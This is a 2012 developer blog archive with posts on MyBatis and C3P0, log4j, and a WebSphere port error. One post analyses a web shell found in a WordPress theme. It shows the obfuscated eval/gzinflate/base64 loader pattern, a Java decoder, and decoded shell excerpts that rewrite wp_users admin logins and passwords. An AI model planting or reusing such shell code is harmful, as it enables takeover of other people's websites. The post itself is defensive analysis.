September 2012 Posts

Connecting MyBatis ORM to C3P0 Connection Pooling

In this example, im trying to connecting my MyBatis application to my database through C3P0 connection pooling. According to its website, C3P0 is an easy-to-use library for making traditional JDBC drivers “enterprise-ready” by augmenting them with functionality defined by the jdbc3 spec and the optional extensions to jdbc2.

Okay, so the first thing i do is, creating a database named “Test” and table “Testing”

CREATE DATABASE `Test`;
USE `Test`;
CREATE TABLE `testing` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(30) NOT NULL DEFAULT '',
  `address` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`Id`),
  UNIQUE KEY `ix` (`name`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

insert into `table`(`Id`,`name`,`address`) values (1,'edw','Ciledug');
insert into `table`(`Id`,`name`,`address`) values (2,'kamplenk','Cikokol');
insert into `table`(`Id`,`name`,`address`) values (3,'nugie','Pamulang');
insert into `table`(`Id`,`name`,`address`) values (4,'tebek','Karawaci');

And a java bean class to represent my sql table,

package com.edw.bean;

public class Testing {

    private int id;
    private String name;
    private String address;

    public Testing() {
    }

    // setter and getter method

    @Override
    public String toString() {
        return "Testing{" + "id=" + id + ", name=" + name + ", address=" + address + '}';
    }
}

and dont forget, a java interface class to handle my query

package com.edw.mapper;

import com.edw.bean.Testing;
import java.util.List;
import org.apache.ibatis.annotations.Select;
 
public interface TestingMapper {
    @Select("SELECT * FROM testing")
    List<Testing> selectAll();
}

Next is creating c3p0 connection configuration on context.xml file under META-INF folder

<?xml version="1.0" encoding="UTF-8"?>
<Context antiJARLocking="true" path="/MyBatisC3P0">
	
    <Resource name="testjndi" 
		 auth="Container"
		 driverClass="com.mysql.jdbc.Driver"
         jdbcUrl="jdbc:mysql://localhost:3306/test"
         user="root"
         password="xxxx"					 		 
         factory="org.apache.naming.factory.BeanFactory" 
         type="com.mchange.v2.c3p0.ComboPooledDataSource" 
         maxPoolSize="30" 					 
         minPoolSize="10" 
         acquireIncrement="3" 
         acquireRetryAttempts = "0"
         acquireRetryDelay = "3000"
         breakAfterAcquireFailure = "false"
         maxConnectionAge = "20"
         maxIdleTime = "15"
         maxIdleTimeExcessConnections = "15"
         idleConnectionTestPeriod = "10"
         testConnectionOnCheckout = "true"					 
         preferredTestQuery = "SELECT 1"
         debugUnreturnedConnectionStackTraces = "true"					 
         autoCommitOnClose="true"
        />	
</Context>

next is registering your JNDI on web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
    <servlet>
        <servlet-name>myBatisServlet</servlet-name>
        <servlet-class>com.edw.servlet.MyBatisServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>myBatisServlet</servlet-name>
        <url-pattern>/myBatisServlet</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
        <welcome-file>myBatisServlet</welcome-file>
    </welcome-file-list>
    <resource-ref>
        <description>My Connection Pool</description>
        <res-ref-name>testjndi</res-ref-name>
        <res-type>javax.sql.DataSource</res-type>
        <res-auth>Container</res-auth>
    </resource-ref>
</web-app>

and calling your connection pooling jndi from MyBatis’ xml code

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
    <environments default="development">
       <environment id="development">
            <transactionManager type="JDBC"/>
            <dataSource type="JNDI">
                <property name="data_source" value="java:/comp/env/testjndi"/>
            </dataSource>
        </environment>          
    </environments>
    <mappers />
</configuration>

next is creating a java class to load my MyBatis’ xml configuration

package com.edw.config;

import com.edw.mapper.TestingMapper;
import java.io.Reader;
import org.apache.ibatis.io.Resources;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;

public class MyBatisSqlSessionFactory {

    private static final SqlSessionFactory FACTORY;

    static {
        try {
            Reader reader = Resources.getResourceAsReader("com/edw/sqlmap/Configuration.xml");
            FACTORY = new SqlSessionFactoryBuilder().build(reader);
            FACTORY.getConfiguration().addMapper(TestingMapper.class);
        } catch (Exception e){
            throw new RuntimeException("Fatal Error.  Cause: " + e, e);
        }
    }

    public static SqlSessionFactory getSqlSessionFactory() {
        return FACTORY;
    }
}

and finally, i create a servlet as my presentation layer

package com.edw.servlet;

import com.edw.bean.Testing;
import com.edw.config.MyBatisSqlSessionFactory;
import com.edw.mapper.TestingMapper;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.ibatis.session.SqlSession;

public class MyBatisServlet extends HttpServlet {

    protected void processRequest(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        SqlSession sqlSession = MyBatisSqlSessionFactory.getSqlSessionFactory().openSession(true);
        try {
            out.println("<html>");
            out.println("<head>");
            out.println("<title>Servlet MyBatisServlet</title>");
            out.println("</head>");
            out.println("<body>");

            TestingMapper testingMapper = sqlSession.getMapper(TestingMapper.class);
            List<Testing> testings = testingMapper.selectAll();
            for (Testing testing : testings) {
                out.println(testing.getName()+" - "+testing.getAddress()+"<br />");
            }
            
            out.println("</body>");
            out.println("</html>");
        } finally {
            sqlSession.close();
            out.flush();            
            out.close();            
        }
    }

    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        processRequest(request, response);
    }
}

This is what the result of my servlet when im running it on my browser

This is the screenshot of my database connection, you can see that c3p0 automatically create 10 free connections.

And this is the screenshot of my netbeans project

Have fun with C3P0 and MyBatis (H)

Google+

My log4j.properties Configuration

This is my log4j.properties configuration, i put it here so i would remember and i dont need to open my old java projects searching for log4j.properties.

log4j.rootLogger=DEBUG,stdout,DAILY

log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%d [%c{1}] %-5p %c:%L - %m%n


log4j.appender.DAILY=org.apache.log4j.DailyRollingFileAppender
log4j.appender.DAILY.File=console.log
log4j.appender.DAILY.DatePattern='.' yyyyMMdd
log4j.appender.DAILY.layout=org.apache.log4j.PatternLayout 
log4j.appender.DAILY.layout.ConversionPattern=%d [%c{1}] %-5p %c:%L - %m%n

log4j.rootLogger.com.baculsoft= trace,stdout
log4j.rootLogger.com.ibatis = trace,stdout
Google+

Weird Websphere Error : An instance of the server may already be running: servername

I had this weird error today when im trying to start my WAS 7 on Windows Server, somehow my WAS wont startup with some weird error that port 8880 is occupied

ADMU0111E: Program exiting with error: com.ibm.websphere.management.exception.AdminException: ADMU3027E: An instance of the server may already be running: server1

It’s weird because i check using netstat -aon command and see that port 8880 is free.
My workaround is changing file serverindex.xml on WebsphereInstallationFolder\WebSphere\AppServer\profiles\ AppSrv01\config\cells \cellname\nodes\nodename\serverindex.xml and change port 8880 into 8881

 <specialEndpoints xmi:id="NamedEndPoint_1183122129641" endPointName="SOAP_CONNECTOR_ADDRESS">
      <endPoint xmi:id="EndPoint_1183122129641" host="SERVER1" port="8881"/>
 </specialEndpoints>

Hope it helped others,
have fun using Websphere :D

Google+

How to Decode PHP’s gzinflate and base64_decode using Java

This morning i found a very weird script on one of my wordpress website, looks like someone has uploaded a malicious script into my wordpress’ theme folder.

It looks like some PHP script, but decoded using base64 and compressed using gzinflate functions. I try to decode the malicious script using PHP but my PHP knowledge is very little. So im using Java instead.

This is what the malicious script looks like :

<?php eval(gzinflate(base64_decode('7H35m9rItejPd75v/gfSmRvb10uztpvx2Ak7Er 
...bla bla bla.... RGpn/Aw==')));?>

Because i couldnt find a proper tools to decode it, so i create my own java class to decode this malicious PHP script.
Here is my java class

package base64decoder;

import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.Scanner;
import java.util.zip.Inflater;
import java.util.zip.InflaterInputStream;
import org.apache.commons.codec.binary.Base64;

public class GZipAndBase64Decoder {

    public static void main(String[] args) throws Exception {
        Scanner scanner = new Scanner(new File("coded.txt"));
        String isi = scanner.nextLine();
        InputStream inflInstream = new InflaterInputStream(
                new ByteArrayInputStream(new Base64().decode(isi)),
                new Inflater(true));
        byte bytes[] = new byte[4096];
        
        FileOutputStream fileOutputStream = new FileOutputStream(new File("decoded.txt"));
        
        while (true) {
            int length = inflInstream.read(bytes, 0, 4096);
            if (length == -1) {
                break;
            }
            fileOutputStream.write(bytes, 0, length);            
        }
        fileOutputStream.flush();
        fileOutputStream.close();
    }
}

Create a file “coded.txt” and copy-pasted your encoded + gzinflate script to that file. But remember, only copy the highlighted part

<?php eval(gzinflate(base64_decode('
MALICIOUS SCRIPT
')));?>

you will find the decoded script on file “decoded.txt”. This is what the decoded PHP script looks like

error_reporting(0);
@set_time_limit(0);
@session_start();
// configuration
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// server name
$xServerName = $_SERVER["HTTP_HOST"];
$xName = "BlackAsu";
$masukin = "892ab763f02795bfa28354ef1d39059f";  //cange you password (hash md5) 
$nikmatin = (md5($_POST['pass']));
$crotzz = 1;  // ' 0 '  no login pass
if($nikmatin == $masukin){
	$_SESSION['login'] = "$nikmatin";
}
if($crotzz){
	if(!isset($_SESSION['login']) or $_SESSION['login'] != $masukin){
		die("
// bla bla bla bla (im too lazy to copy paste the whole script		

Use this script if you want to decode plain un-gzinflate Base64 script

package base64decoder;

import java.io.File;
import java.io.FileOutputStream;
import java.util.Scanner;
import org.apache.commons.codec.binary.Base64;

public class Base64Decoder {

    public static void main(String[] args) throws Exception {
        Scanner scanner = new Scanner(new File("coded2.txt"));
        String isi = scanner.nextLine();
        
        FileOutputStream fileOutputStream = new FileOutputStream(new File("decoded2.txt"));
        fileOutputStream.write(new String(new Base64().decode(isi)).getBytes());
        fileOutputStream.flush();
        fileOutputStream.close();
    }
}

im using Apache Common Codec to handle Base64 encoding-decoding

And btw, take a look at some part of the malicious script

echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />&nbsp;

<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];

 @mysql_connect($localhost,$username,$password) or die(mysql_error());
 @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());


if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}

Okay, so today’s wise word is, dont forget to change your wordpress’ table prefix :p

Google+